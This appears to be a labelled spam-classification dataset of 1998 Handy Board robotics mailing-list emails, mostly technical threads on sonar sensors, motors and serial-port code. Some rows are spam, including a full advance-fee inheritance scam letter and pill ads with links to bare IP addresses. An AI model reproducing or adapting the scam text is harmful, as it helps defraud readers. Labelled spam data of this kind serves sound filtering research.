pulses from the ping. I hear >a clicking sound too, which was unexpected and is quite annoying. Is >this normal? How come I never have any voltage on ECHO? I am not >using the blanking inhibit at all, and if I look at the noise at about >a 200mv setting on the scope, I can see a shape in the noise that >changes with an objects proximity to the transducer, but it is not >anything like a logic level. I have tried a million different ways of >hooking this thing up and have tried two different driver boards. I >am going to buy another transducer tommorrow, but this is getting >ridiculous. How does one go about testing the device? I am powering >it with a HP E3631A Triple output DC power supply with the current >limiter maxed at 5.0 Amps, which should be enough to cover the 2A >pinging surge. Please help me figure out what is going on or a better >way to test it. We connected it to the microcontroller as it connects >to the handyboard, but that of course didn't work either. If you can >respond via email, that would be best because I don't get this list >regularly. Please respond soon so I don't fail senior design!! ;-) >Take it easy, > >Chris >_________________________________________________________ >DO YOU YAHOO!? >Get your free @yahoo.com address at http://mail.yahoo.com >",0,1 brian-c@technologist.com,handyboard@media.mit.edu,"Tue, 21 Apr 1998 12:05:45 -0400",Handy board help,"I am interested in using the Handy Board, but I have a few questions about it first. Please help. :) I noticed the Handy Board supports 4 motors but I am interested in using stepper motors with it. Is this possible? If so what modifications would be nessary to accomodate for the extra connections needed for the stepper motors. Also what would I have to do as far as having to deal with the extra current from the stepper motors as apposed to regular DC motors. Any help you can give me will be greatly appreciated. Thank you, Brian Carvalho --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 """Bruce A. Moore"" ",handyboard@media.mit.edu,"Tue, 21 Apr 1998 11:59:40 -0500",tsl1301 or 1401,"Has anyone tried to use one of the TI tsl1301 or 1401 linear sensors with the HB. I ended up with a few but am having a tough time trying to figure out what the data sheets are trying to tell me. Not real clear (to me). Bruce A. Moore ",0,0 alicecreek2006@vodafone.nl,,"Tue, 21 Apr 1998 18:17:42 +0200",FROM MRS ALICE CREEK," FROM MRS ALICE CREEK alicecreekworld@netscape.net Dear Good Friend. I greet you in the name of the Lord. I am Mrs.Alice Creek from Solomon Islands. I am married to Late Mr.John W. Creek who worked with MULTINATIONAL OIL COMPANY EXXON AS A DRILLING RIG SUPPLIER in KUWAIT for nine years before he died on the 15th August 2005. We were married for eleven years without a child. He died after a brief illness that lasted for only four days. Ever before his death we were both born again Christians and have sown into many ministries. Since his death I decided not to remarry, but feeling quite lonely if not the Lord who has been my partner and comforter. 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The Bible made us to understand that""Blessed is the hand that giveth"". l took this decision because I don't have any child that will inherit this money and my husband relatives are not Christians and it had been their wish to see my husband dead in order that they might inherit his wealth since we have no son. These people are therefore not worthy of this inheritance as they have squandered much of my husbands har earned money already. This is why I am taking this decision. Meanwhile I am not afraid of death hence I know where I am going. It is only a sinner who's death is painful. I don't need any telephone communication in this regard because of my health and also the presence of my husband's relatives around me always. I don't want them to know about this development and l know that With God all things are possible. As soon as I receive your reply I shall give you the contact of the Finance/Security Firm in Europe . I will also issue a letter of authorization to the firm that will prove you the present beneficiary of this money. I also want you to always uplift me in prayer. My happiness is that I lived a life of a worthy Christian. Whoever that Wants to serve the Lord must serve him in truth and faith, ""serving him with all you have, knowing that naked we come and naked we must go"" Contact me on my very confidential email address below and any delay in your reply will give me room in sourcing another good person, church,organization for this same purpose. Please assure me that you will act accordingly as I Stated herein as i have prayed and fasted on this already. Hoping to receive your response immediately. Thanks and Remain blessed in the Lord. Sister Alice Creek One With Love And Best Wishes!!! Kindly reply to my confidential email address below: alicecreekworld@netscape.net ",1,0 MAR ERICSON ,Darkman ,"Tue, 21 Apr 1998 21:44:02 -0400",Re: Help!! Polaroid problem!!!,"Why does it seem like everyone except me needs a pullup resistor and perhaps a capacitor somewhere to operate the Polaroid? I've never had any problems without any of these components. ??? The first time I connected the sensor, it worked perfectly. Maybe I my Handy Board happens to have better components? :-/ ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 21 Apr 1998, Darkman wrote: > Are you using a pullup resistor on the ECHO pin? If not that is your > problem. > The ECHO output is an open collector driver which requires an 4.7 K pull-up > resistor between the output and Vcc. > The pull-up is necessary for connecting the module to a digital input. > > I power mine with a 7805 voltage regulator and it seems to work fine but i'm > not using it continiously. > > The clicking sound is normal. > > Another thing I noticed that if I ground the transducer it malfunctions. > > I hope that helps , Let me know! > > > -----Original Message----- > From: Chris Moylan > To: handyboard@media.mit.edu > Date: Tuesday, April 21, 1998 10:46 AM > Subject: Help!! Polaroid problem!!! > > > >I am trying to use one of the Polaroid 6500 kits from Wirz with my > >senior design project. It doesn't exactly use a handyboard, but our > >microcontroller is virtually identical at the lowest level. The problem > >is when we attach the device to the scope, we NEVER see any significant > >voltage on the ECHO pin. With the INIT pulsing 5V every second, we > >still get nothing but residual noise (kind of a lot, but at no more > >than .5V)and the remnants of the sixteen pulses from the ping. I hear > >a clicking sound too, which was unexpected and is quite annoying. Is > >this normal? How come I never have any voltage on ECHO? I am not > >using the blanking inhibit at all, and if I look at the noise at about > >a 200mv setting on the scope, I can see a shape in the noise that > >changes with an objects proximity to the transducer, but it is not > >anything like a logic level. I have tried a million different ways of > >hooking this thing up and have tried two different driver boards. I > >am going to buy another transducer tommorrow, but this is getting > >ridiculous. How does one go about testing the device? I am powering > >it with a HP E3631A Triple output DC power supply with the current > >limiter maxed at 5.0 Amps, which should be enough to cover the 2A > >pinging surge. Please help me figure out what is going on or a better > >way to test it. We connected it to the microcontroller as it connects > >to the handyboard, but that of course didn't work either. If you can > >respond via email, that would be best because I don't get this list > >regularly. Please respond soon so I don't fail senior design!! ;-) > >Take it easy, > > > >Chris > >_________________________________________________________ > >DO YOU YAHOO!? > >Get your free @yahoo.com address at http://mail.yahoo.com > > > >",0,1 """Jose-Alfredo D. Esguerra"" ",handyboard@media.mit.edu,"Tue, 21 Apr 1998 22:29:54 -0400",To Prof. Fred Martin: Neat!,"Hi, I saw your robot at the Trinity fire fighting contest last Sunday. It was neat, and very animate. I was curious to know if you had figured out why it did what it did during your first run (?). And, what type of sensor were you using on the rear right of it. This was my first robotics contest, and it was exciting from start to finish. Jose ",0,0 Peter Eacmen ,Handy Board Mailing List ,"Tue, 21 Apr 1998 23:06:42 -0400",IR Transmit ?!? HELP,"I recently assembled a Handy Board, everything is perfect except for the IR Transmitter. The IR Tx LED does not light. It is not the LED itself because I replaced it. I can't seem to figre out what's wrong. Please help. Thank You Peter Eacmen ",0,0 """Fred G. Martin"" ",Peter Eacmen ,"Wed, 22 Apr 1998 00:28:00 -0400",Re: IR Transmit ?!? HELP ,"> I recently assembled a Handy Board, everything is perfect except for the > IR Transmitter. The IR Tx LED does not light. It is not the LED itself > because I replaced it. I can't seem to figre out what's wrong. Please > help. Did you follow the instructions in the HB Assembly debug? at http://el.www.media.mit.edu/projects/handy-board/hbassem/hbassem5.html it says: Output Stage If LED9R fails to light after the poke command is issued, trace the following progression of signals. Please refer to the infrared output schematic: * 6811 Timer Output 2. This is the signal from the 6811 that enables the IR transmission circuit. Check pin 28 of the 6811; it should be high. The signal is wired to pin 2 of U7; it also should be high. * Oscillator Output. Look at the signal on pin 3U7; when the 6811 timer output 2 is high, it should be a 40 kHz square wave. If not, check for proper installation of U7, R4, and C6. * Inverter. The 40 kHz square wave should go to pin 1 of U9, where it is inverted and output on pin 2 of the same chip. * Transistor Drive. The 40 kHz signal then passes through R3, where it is delivered to the base of Q1. Check for the signal's presence at these points. * Transistor and LED Wiring. Check that the emitter lead of the transistor is properly grounded, and that LED9R and R5 have good solder joints. let us know the results. fred ",0,1 Eleanor Skaggs ,Antoinette ,,re [10]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! 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But on Digital PIN 9 ""PAI"" i got allways high level (1) during test via ""hptest.c"". I think i haven´t any soldering problems. That´s wrong ??? bernd klein ",0,0 Thomas Hauri ,MAR ERICSON ,"Wed, 22 Apr 1998 09:32:30 +0200",Re: Help!! Polaroid problem!!!,"well....I might be the way you are powering the sensors ??? Maybe luck ???? :)))))) Actually I don't why you don't need any of those supporting parts. A short question ...For what range are you using the sensors (are you using the binh signal) ?? We never had any problems using the sensors with a range above 40 cm. But as soon as we tried to measure down to 15 cm (using binh) we had false echo signals. One strange thing to this story...about 15 month ago, when I first built an interface to those sensors they worked just fine. Then suddenly after rebuilding the interface (using bigger caps and a interfaceboard instead of a breadboard) they didn't work anymore....I don't know anymore wether I also changed the sensorboards or not. So I ended up with the problem not to be able to use the sensors with binh. After adding the caps as discribed in an earlier mail they just worked fine. So if anyone can track those problems down to one cause please let mie know.... Thanks Tom > Why does it seem like everyone except me needs a pullup resistor and > perhaps a capacitor somewhere to operate the Polaroid? I've never had any > problems without any of these components. ??? > > The first time I connected the sensor, it worked perfectly. > Maybe I my Handy Board happens to have better components? :-/ > > ----------- > ericson mar > Master of Engineering Candidate > Project: Mobile Robotics > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- ",0,0 veenjs@cs.utwente.nl,handyboard@media.mit.edu,"Wed, 22 Apr 1998 11:15:10 +0200",IC stack problem,"Hello everybody, Is something wrong with this code or is it IC? { int a[4][4], i; for (i=0; i<4; i++) { a[i][i]=i; } } When I type this at the IC prompt it complains: Downloading 79 bytes (addresses C200-C24E): 79 loaded COMPILER ERROR!: 2 extra bytes left on board stack Any ideas? Jan Sipke van der Veen",0,0 Silvia Purcell ,handyboard@media.mit.edu,"Wed, 22 Apr 1998 02:25:24 -0500",Obesity is really widespread,"may bulgaria , degenerate but aryl be poe a pathogenic ",1,0 Sally ,'Tim' ,"Wed, 22 Apr 1998 10:51:16 +0200",stop Premature Ejaculation ," Hi friend: We have quality product to help you Enjoy better sex life. All products offer 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer... serenadeg7890hjfdefshhsdajks ",1,1 Darkman ,MAR ERICSON ,"Wed, 22 Apr 1998 09:18:00 -0400",Re: Help!! Polaroid problem!!!,"The reason you don't need a pull up resistor for the Handy Board is because the Handy Board has built in 47k pull up resistors on the digital inputs! -----Original Message----- From: MAR ERICSON To: Darkman Cc: crm0922@bu.edu ; handyboard@media.mit.edu Date: Tuesday, April 21, 1998 10:09 PM Subject: Re: Help!! Polaroid problem!!! >Why does it seem like everyone except me needs a pullup resistor and >perhaps a capacitor somewhere to operate the Polaroid? I've never had any >problems without any of these components. ??? > >The first time I connected the sensor, it worked perfectly. >Maybe I my Handy Board happens to have better components? :-/ > >----------- >ericson mar >Master of Engineering Candidate >Project: Mobile Robotics >mar@cooper.edu >(212)353-4356 > >Department of Mechanical Engineering >The Cooper Union for the Advancement of Science and Art >------------------------------------------------------- > >On Tue, 21 Apr 1998, Darkman wrote: > >> Are you using a pullup resistor on the ECHO pin? If not that is your >> problem. >> The ECHO output is an open collector driver which requires an 4.7 K pull-up >> resistor between the output and Vcc. >> The pull-up is necessary for connecting the module to a digital input. >> >> I power mine with a 7805 voltage regulator and it seems to work fine but i'm >> not using it continiously. >> >> The clicking sound is normal. >> >> Another thing I noticed that if I ground the transducer it malfunctions. >> >> I hope that helps , Let me know! >> >> >> -----Original Message----- >> From: Chris Moylan >> To: handyboard@media.mit.edu >> Date: Tuesday, April 21, 1998 10:46 AM >> Subject: Help!! Polaroid problem!!! >> >> >> >I am trying to use one of the Polaroid 6500 kits from Wirz with my >> >senior design project. It doesn't exactly use a handyboard, but our >> >microcontroller is virtually identical at the lowest level. The problem >> >is when we attach the device to the scope, we NEVER see any significant >> >voltage on the ECHO pin. With the INIT pulsing 5V every second, we >> >still get nothing but residual noise (kind of a lot, but at no more >> >than .5V)and the remnants of the sixteen pulses from the ping. I hear >> >a clicking sound too, which was unexpected and is quite annoying. Is >> >this normal? How come I never have any voltage on ECHO? I am not >> >using the blanking inhibit at all, and if I look at the noise at about >> >a 200mv setting on the scope, I can see a shape in the noise that >> >changes with an objects proximity to the transducer, but it is not >> >anything like a logic level. I have tried a million different ways of >> >hooking this thing up and have tried two different driver boards. I >> >am going to buy another transducer tommorrow, but this is getting >> >ridiculous. How does one go about testing the device? I am powering >> >it with a HP E3631A Triple output DC power supply with the current >> >limiter maxed at 5.0 Amps, which should be enough to cover the 2A >> >pinging surge. Please help me figure out what is going on or a better >> >way to test it. We connected it to the microcontroller as it connects >> >to the handyboard, but that of course didn't work either. If you can >> >respond via email, that would be best because I don't get this list >> >regularly. Please respond soon so I don't fail senior design!! ;-) >> >Take it easy, >> > >> >Chris >> >_________________________________________________________ >> >DO YOU YAHOO!? >> >Get your free @yahoo.com address at http://mail.yahoo.com >> > >> >> >",0,1 vandeweg@parlance-ncs.com,Bernd Klein ,"Wed, 22 Apr 1998 09:37:57 -0400",Re: PWM and encoder,"The nonlinearity has to due with the characteristics of your motor. You will find that a single step of power at the low end has a greater effect on the speed than a single step at the high end, as the motor approaches its top speed. The relationship will change somewhat depending on if the motor is loaded or unloaded, too. - Mike ",0,0 Darkman ,"brian-c@technologist.com, handyboard@media.mit.edu","Wed, 22 Apr 1998 09:38:53 -0400",Re: Handy board help,"You can build a stepper motor controller on a separate circuit board, then remove the motor control IC's off the handy board and use the output signals to control your stepper. Will have to write a program to run it. you will need a min of 4 outputs to drive 2 steppers 2) for Direction and 2) for steping. That's if you use a stepper controller IC. You can power your steppers of a separate power supply. The handy board uses 8 output lines to control it's DC motors. You can use a UCN5804 stepper conrtoller IC or build your own. http://www.wizard.org/schem/stepper.html I hope that helps. -----Original Message----- From: brian-c@technologist.com To: handyboard@media.mit.edu Date: Tuesday, April 21, 1998 12:31 PM Subject: Handy board help >I am interested in using the Handy Board, but I have a few questions about it first. Please help. :) > > I noticed the Handy Board supports 4 motors but I am interested in using stepper motors with it. Is this possible? > > If so what modifications would be nessary to accomodate for the extra connections needed for the stepper motors. Also what would I have to do as far as having to deal with the extra current from the stepper motors as apposed to regular DC motors. > > Any help you can give me will be greatly appreciated. > >Thank you, > >Brian Carvalho > >--------------------------------------------------- >Get free personalized email at http://www.iname.com >",0,1 Remi Desrosiers ,handyboard@media.mit.edu,"Wed, 22 Apr 1998 09:59:56 -0400",Re: loading files with IC,"In fact, that's weird.. I can't answer to that. To me, I'm pretty sure that IC would have gave me an error, like when I try to load a C program without having loaded the ICB containing the special function used by this C program. For example, i can't load sony-ir.c without having loaded first sony-ir.icb. Maybe Randy Sargent or Fred could answer that question? > > Thanks for your response, but I still have questions: > > I know that if I make up a bogus function name and put it in a program I will > get an error message saying that the function isn't defined, so if what > you're saying is true, (and I'm not saying it isn't, just questioning...) > then when I download a program that uses the functions that were defined > previously, if they were cleared up by loading IC, why doesn't IC give me an > error saying that the function(s) aren't defined? > > > > > Once you load IC, it clears up the memory of your HB and boots only the > files > > typed in lib_hb.lis. If you plan to use your functions in other projects, > you > > could add the name of the file containing those functions in lib_hb.lis > > using a > > simple text editor. > > > > .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,0 veenjs@cs.utwente.nl,handyboard@media.mit.edu,"Wed, 22 Apr 1998 16:06:21 +0200",Re: IC stack problem,"> I think it's because Interactive C does not support the use of 2-dimensional > arrays, as already stated in the manual. The funny thing is, it doesn't complain about arrays smaller than 4x4. All values are stored correctly for an array of size 3x3. What's this 'magic' number 4 then? Jan Sipke van der veen ",0,0 Douglas Blank ,handyboard@media.mit.edu,"Wed, 22 Apr 1998 09:11:01 -0500",Re: Serial Communication: HB -> Win95,"To answer my own question, at least partially, here is a Win95 Host program to communicate (single bytes) with the HandyBoard over a serial line: /* Win95 Visual C++ Host Code to talk to HandyBoard */ #include // _outp, _inp #include // sleep #include // printf unsigned short PORT = 0x3f8; // COM1: 0x3f8 on my computer int send(char c) { return _outp( PORT, c); } char receive() { char retval; retval = _inp( PORT); _sleep(50); // this was necessary; too fast a machine? retval = _inp( PORT); return retval; } void main(int argc, char *argv[]) { char c; char key = ' '; while (key != 'q') { key = getch(); send(key); printf(""Sent %c\\n"", key); c = receive(); printf(""Got %c as a return value\\n"", c); } } Here is a sample HB program to talk to: void disable_pcode_serial() /* necessary to receive characters using serial_getchar */ { poke(0x3c, 1); } void reenable_pcode_serial() /* necessary for IC to interact with board again */ { poke(0x3c, 0); } /* ====================================================================== For sending and receiving single bytes, you can use Randy's IC code: */ void serial_putchar(int c) { while (!(peek(0x102e) & 0x80)); /* wait until serial transmit empty */ poke(0x102f, c); /* send character */ } int serial_getchar() { while (!(peek(0x102e) & 0x20)); /* wait for received character */ return peek(0x102f); } void main(void) { char c = ' '; disable_pcode_serial(); while (c != 'q') { c = serial_getchar(); printf(""\\nReceived = %c "", c); if (c == '1') { serial_putchar(analog(0)); } else if (c == 'a') { serial_putchar(knob()); } } reenable_pcode_serial(); printf(""\\nHB Mode!""); } If anyone has a better solution, please let me know. -Doug Blank Douglas Blank wrote: > I am using the serial_putchar() and serial_getchar() communication routines > on the HandyBoard, and everything is working fine from the PC to the HB. > However, I am having trouble getting the HB to send data back to the PC. ===================================================================== dblank@comp.uark.edu Douglas Blank, University of Arkansas Assistant Professor Computer Science ==================== http://www.uark.edu/~dblank ====================",0,1 MAR ERICSON ,Thomas Hauri ,"Wed, 22 Apr 1998 13:23:12 -0400",Re: Help!! Polaroid problem!!!,"When it first worked for me, I used the HB NiCd. I grounded binh and it worked. I used binh to measure like 7 inches and it worked fine too. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 22 Apr 1998, Thomas Hauri wrote: > well....I might be the way you are powering the sensors ??? > Maybe luck ???? > > :)))))) > > Actually I don't why you don't need any of those supporting parts. > A short question ...For what range are you using the sensors (are you using the > binh signal) ?? > > We never had any problems using the sensors with a range above 40 cm. But as soon > as we tried to measure down > to 15 cm (using binh) we had false echo signals. > One strange thing to this story...about 15 month ago, when I first built an > interface to those sensors they worked just fine. Then suddenly after rebuilding > the interface (using bigger caps and a interfaceboard instead of a breadboard) > they didn't work anymore....I don't know anymore wether I also changed the > sensorboards or not. > So I ended up with the problem not to be able to use the sensors with binh. > > After adding the caps as discribed in an earlier mail they just worked fine. > So if anyone can track those problems down to one cause please let mie know.... > > Thanks > > Tom > > > > > Why does it seem like everyone except me needs a pullup resistor and > > perhaps a capacitor somewhere to operate the Polaroid? I've never had any > > problems without any of these components. ??? > > > > The first time I connected the sensor, it worked perfectly. > > Maybe I my Handy Board happens to have better components? :-/ > > > > ----------- > > ericson mar > > Master of Engineering Candidate > > Project: Mobile Robotics > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- > > > > ",0,0 MAR ERICSON ,Bernd Klein ,"Wed, 22 Apr 1998 13:33:11 -0400",Re: PWM and encoder,"The 100, 50, 40, etc. are not really ""speeds"". They are power. It is related to the average voltage level of your output. Speed depends on the torque and characteristics of your motor. You can hold on the the wheel and still drive the motor at 100. It would be 0clicks / per second in this case. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 22 Apr 1998, Bernd Klein wrote: > Hi, > > i have some questions about PWM and encoder. > > I made following tests: > > 1) Speed : motor(0,100) my encoder count f.e. 20clicks / per > second > 2) Speed: motor(0,50) my encoder count f.e. 15clicks / per > second > 3) Speed: motor(0,40) my encoder count f.e. 12clicks / per > second > > Why are�nt the clicks linear? > > thanks for help > > Bernd Klein > > ",0,0 MAR ERICSON ,Bernd Klein ,"Wed, 22 Apr 1998 13:35:07 -0400",Re: PWM and encoder,"Well, actually, it's not power either. Power is V * I. Sorry, it's actually the voltage. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 22 Apr 1998, Bernd Klein wrote: > Hi, > > i have some questions about PWM and encoder. > > I made following tests: > > 1) Speed : motor(0,100) my encoder count f.e. 20clicks / per > second > 2) Speed: motor(0,50) my encoder count f.e. 15clicks / per > second > 3) Speed: motor(0,40) my encoder count f.e. 12clicks / per > second > > Why are�nt the clicks linear? > > thanks for help > > Bernd Klein > > ",0,0 MAR ERICSON ,Darkman ,"Wed, 22 Apr 1998 13:37:40 -0400",Re: Help!! Polaroid problem!!!,"oh yeah? Well, what about the capcitor, huh? ;) ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 22 Apr 1998, Darkman wrote: > The reason you don't need a pull up resistor for the Handy Board is because > the Handy Board has built in 47k pull up resistors on the digital inputs! > > > -----Original Message----- > From: MAR ERICSON > To: Darkman > Cc: crm0922@bu.edu ; handyboard@media.mit.edu > > Date: Tuesday, April 21, 1998 10:09 PM > Subject: Re: Help!! Polaroid problem!!! > > > >Why does it seem like everyone except me needs a pullup resistor and > >perhaps a capacitor somewhere to operate the Polaroid? I've never had any > >problems without any of these components. ??? > > > >The first time I connected the sensor, it worked perfectly. > >Maybe I my Handy Board happens to have better components? :-/ > > > >----------- > >ericson mar > >Master of Engineering Candidate > >Project: Mobile Robotics > >mar@cooper.edu > >(212)353-4356 > > > >Department of Mechanical Engineering > >The Cooper Union for the Advancement of Science and Art > >------------------------------------------------------- > > > >On Tue, 21 Apr 1998, Darkman wrote: > > > >> Are you using a pullup resistor on the ECHO pin? If not that is your > >> problem. > >> The ECHO output is an open collector driver which requires an 4.7 K > pull-up > >> resistor between the output and Vcc. > >> The pull-up is necessary for connecting the module to a digital input. > >> > >> I power mine with a 7805 voltage regulator and it seems to work fine but > i'm > >> not using it continiously. > >> > >> The clicking sound is normal. > >> > >> Another thing I noticed that if I ground the transducer it malfunctions. > >> > >> I hope that helps , Let me know! > >> > >> > >> -----Original Message----- > >> From: Chris Moylan > >> To: handyboard@media.mit.edu > >> Date: Tuesday, April 21, 1998 10:46 AM > >> Subject: Help!! Polaroid problem!!! > >> > >> > >> >I am trying to use one of the Polaroid 6500 kits from Wirz with my > >> >senior design project. It doesn't exactly use a handyboard, but our > >> >microcontroller is virtually identical at the lowest level. The problem > >> >is when we attach the device to the scope, we NEVER see any significant > >> >voltage on the ECHO pin. With the INIT pulsing 5V every second, we > >> >still get nothing but residual noise (kind of a lot, but at no more > >> >than .5V)and the remnants of the sixteen pulses from the ping. I hear > >> >a clicking sound too, which was unexpected and is quite annoying. Is > >> >this normal? How come I never have any voltage on ECHO? I am not > >> >using the blanking inhibit at all, and if I look at the noise at about > >> >a 200mv setting on the scope, I can see a shape in the noise that > >> >changes with an objects proximity to the transducer, but it is not > >> >anything like a logic level. I have tried a million different ways of > >> >hooking this thing up and have tried two different driver boards. I > >> >am going to buy another transducer tommorrow, but this is getting > >> >ridiculous. How does one go about testing the device? I am powering > >> >it with a HP E3631A Triple output DC power supply with the current > >> >limiter maxed at 5.0 Amps, which should be enough to cover the 2A > >> >pinging surge. Please help me figure out what is going on or a better > >> >way to test it. We connected it to the microcontroller as it connects > >> >to the handyboard, but that of course didn't work either. If you can > >> >respond via email, that would be best because I don't get this list > >> >regularly. Please respond soon so I don't fail senior design!! ;-) > >> >Take it easy, > >> > > >> >Chris > >> >_________________________________________________________ > >> >DO YOU YAHOO!? > >> >Get your free @yahoo.com address at http://mail.yahoo.com > >> > > >> > >> > > > >",0,1 Charley Webb ,handyboard@media.mit.edu,"Wed, 22 Apr 1998 14:10:07 -0400",A few questions....,"First I want everyone to know two things. First I am new to this list. Second, I have moderate knowledge of electronics.... Until about a few weeks ago, I had been working with Basic Stamps 1 and 2. After looking at all the information about HandyBoards/Rug Warrior boards, I decided to take the plunge and bought a pair of Rug Warrior Pro Kits, both with Brains/Brawn. I have noticed that alot of different articles and websites refer to both boards. I know that there are differences between the two, and being that I am still learning Interactive C ver 3.2, which came with the Rug kits... One of the problems I am having is with the IR circut. What is used for this is: IS1U60 Detector 74HC14 Hex Schmitt trigger inverter 0.1uF cap (Bypass cap for 74HC14) 0.0022uF cap (Part of IR Oscillator Circut) and of course a pot to adjust the freq of the oscillator (10k) What is happening with BOTH rugs is that the distance is no more than 3-4 inches. When adjusting the pot, very little at that, the left LED appears to be SUPER sensitive, while the right side appears to work just fine. I have tried the electrical tape on the base of the LEDS, which does not make any difference. From what I understand, I should be able to get at least a good distance of 6 inches with these rugs, however I dont know what else to try.. The other question I have is about IC ver 3.2. It seems that more people are using older versions as opposed to the newest ones. I grabbed an older copy that I was able to use with the examples that I had found on the web, and to be perfectly honest, it was easier to me to learn how to program the rugs. IS it me or is this something common???? I have a handyboard on order, which I intend to use on a homemade project. Just in case anyone is wondering why I have to rugs, and now going into a handy board, its simple, when it comes to building the robot brain, its no problem, BUT the actual body/drive, forget it, I am about as useful as a porcupine in a nudist colony!!!!! Any help/suggestions GREATLY appreciated... WebGard LLC dba ESSLink World Wide Web: http://www.esslink.com Email: info@esslink.com Phone: (860) 693-2448 Toll Free: 1-800-838-2302 Fax: (860) 693-6298 ",0,1 """Fred G. Martin"" ","handyboard@media.mit.edu, trek@wwnet.com","Wed, 22 Apr 1998 14:41:52 -0400",Trinity College contest report,"Hi all, first, the URL: http://www.media.mit.edu/~fredm/projects/tc98/ I went to last weekend's Fire-Fighting Robot Contest at Trinity College, along with my colleague Steve Ocko, who had built a cute robot based on our network-cricket technology (see for more on that). We spent about a day programming, and had a pretty good wall-following-at-a-distance behavior going using sharp gp2d02 optical distance sensors. the best part of our design was how it would put out the candle: a LEGO hook and ladder would extend, which would invert a canister of vinegar into a pellet of baking soda, which caused a strong stream of foam and CO2 to gush out of the fire hose! unfortunately, just before our run, i let the robot accidentally trigger itself, and it spilled vinegar all over itself, and several of the sensor shorted out. when i put the robot down to compete, i didn't realize it but one of the distance sensors wasn't working, so it just drove around in a circle. it was quite disappointing. argh. anyway, it was great seeing everyone at the contest. enjoy the pictures. fred In your message you said: > This is a multi-part message in MIME format. > > ------=_NextPart_000_00A7_01BD6D75.01922C80 > Content-Type: text/plain; > charset=""iso-8859-1"" > Content-Transfer-Encoding: quoted-printable > > Hi, > > I saw your robot at the Trinity fire fighting contest last Sunday. It = > was neat, and very animate. I was curious to know if you had figured out = > why it did what it did during your first run (?). And, what type of = > sensor were you using on the rear right of it. This was my first = > robotics contest, and it was exciting from start to finish.=20 > > Jose > > ------=_NextPart_000_00A7_01BD6D75.01922C80 > Content-Type: text/html; > charset=""iso-8859-1"" > Content-Transfer-Encoding: quoted-printable > > > > > > http-equiv=3DContent-Type> > > > > Hi, >   >    I saw your robot at the = > Trinity=20 > fire fighting contest last Sunday. It was neat, and very animate. I was = > curious=20 > to know if you had figured out why it did what it did during your first = > run (?).=20 > And, what type of sensor were you using on the rear right of it. This = > was my=20 > first robotics contest, and it was exciting from start to finish. = > >   > Jose > > ------=_NextPart_000_00A7_01BD6D75.01922C80-- > >",0,1 DONT REPLY ,handyboard@media.mit.edu,"Thu, 23 Apr 1998 02:28:41 +0800",www.loveinfashion.com,"www.loveinfashion.com http://loveinfashionoffer.photo.163.com if you dont want to receive this email later,pls go to our website and enter ""unsubscribe"" to cancle. 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Polaroid problem!!!,"Generally the capacitor is the problem :-) The capacitor in the original note is there to pull BINH true* to allow the sensor to detect things that are closer than 18"". Generally, when you include it, unless the design of the system holding the transducer is well damped, doing this will cause you to get nothing but small values has the board detects latent vibrations in the transducer mounting as the returning echo. Without connecting up BINH you won't see things closer than 18"" but you will get much more reliable operation. --Chuck * I don't recall off the top of my head if that means pulling it low early or pulling it high :-(. MAR ERICSON wrote: > > oh yeah? Well, what about the capcitor, huh? ;) ",0,0 Richard ,handyboard@media.mit.edu,"Wed, 22 Apr 1998 21:00:04 -0700",examples,"I was wondering if anyone out there could send me some very basic, easy to understand programs that could help me figure out how to use sonar modules. Thanks, Richard ",0,0 Riley ,handyboard@media.mit.edu,"Thu, 23 Apr 1998 00:07:10 -0500","wrinkles arrived, we can help","it chenille but shopworn and buddha in remunerate a bloodbath ",1,0 David Kott ,Bernd Klein ,"Wed, 22 Apr 1998 21:58:39 -0400",Re: PWM and encoder,"On Wed, 22 Apr 1998, Bernd Klein wrote: > Hi, > > i have some questions about PWM and encoder. > > I made following tests: > > 1) Speed : motor(0,100) my encoder count f.e. 20clicks / per > second > 2) Speed: motor(0,50) my encoder count f.e. 15clicks / per > second > 3) Speed: motor(0,40) my encoder count f.e. 12clicks / per > second > > Why are�nt the clicks linear? > > thanks for help > > Bernd Klein Are you using the ""smooth"" PWM motor routines? Note also, that a DC motor does not change velocity linearly with an increase in current unless it is under load. This was a recently asked question on the list. Maybe grepping the digest for ""motor"" ""DC"" and ""PWM""? -d The Fourth Law of Programming: Anything that CAN go wrong wi /kernel: pid 128 (sendmail), uid 0: exited on signal 11 (core dumped) ",0,0 David Kott ,crm0922@bu.edu,"Wed, 22 Apr 1998 21:52:03 -0400",Re: Help!! Polaroid problem!!!,"On Tue, 21 Apr 1998, Chris Moylan wrote: > microcontroller is virtually identical at the lowest level. The problem > is when we attach the device to the scope, we NEVER see any significant > voltage on the ECHO pin. With the INIT pulsing 5V every second, we > still get nothing but residual noise (kind of a lot, but at no more residual noise? It was my understanding that the Polaroid module used pulse time differentials to relay distance information. One need only look at the difference in time, between the leading edge of the init pulse, and the leading edge of the echo pulse to determine the distance from an object. This is different from modules that generate a variable voltage between two limits proportional to the Time of Flight of a given ping. When you say ""noise"", it makes me think that you are dismissing the actual Time of Flight information as a glitch in the output. You should see about .9 ms between the leading edge of the 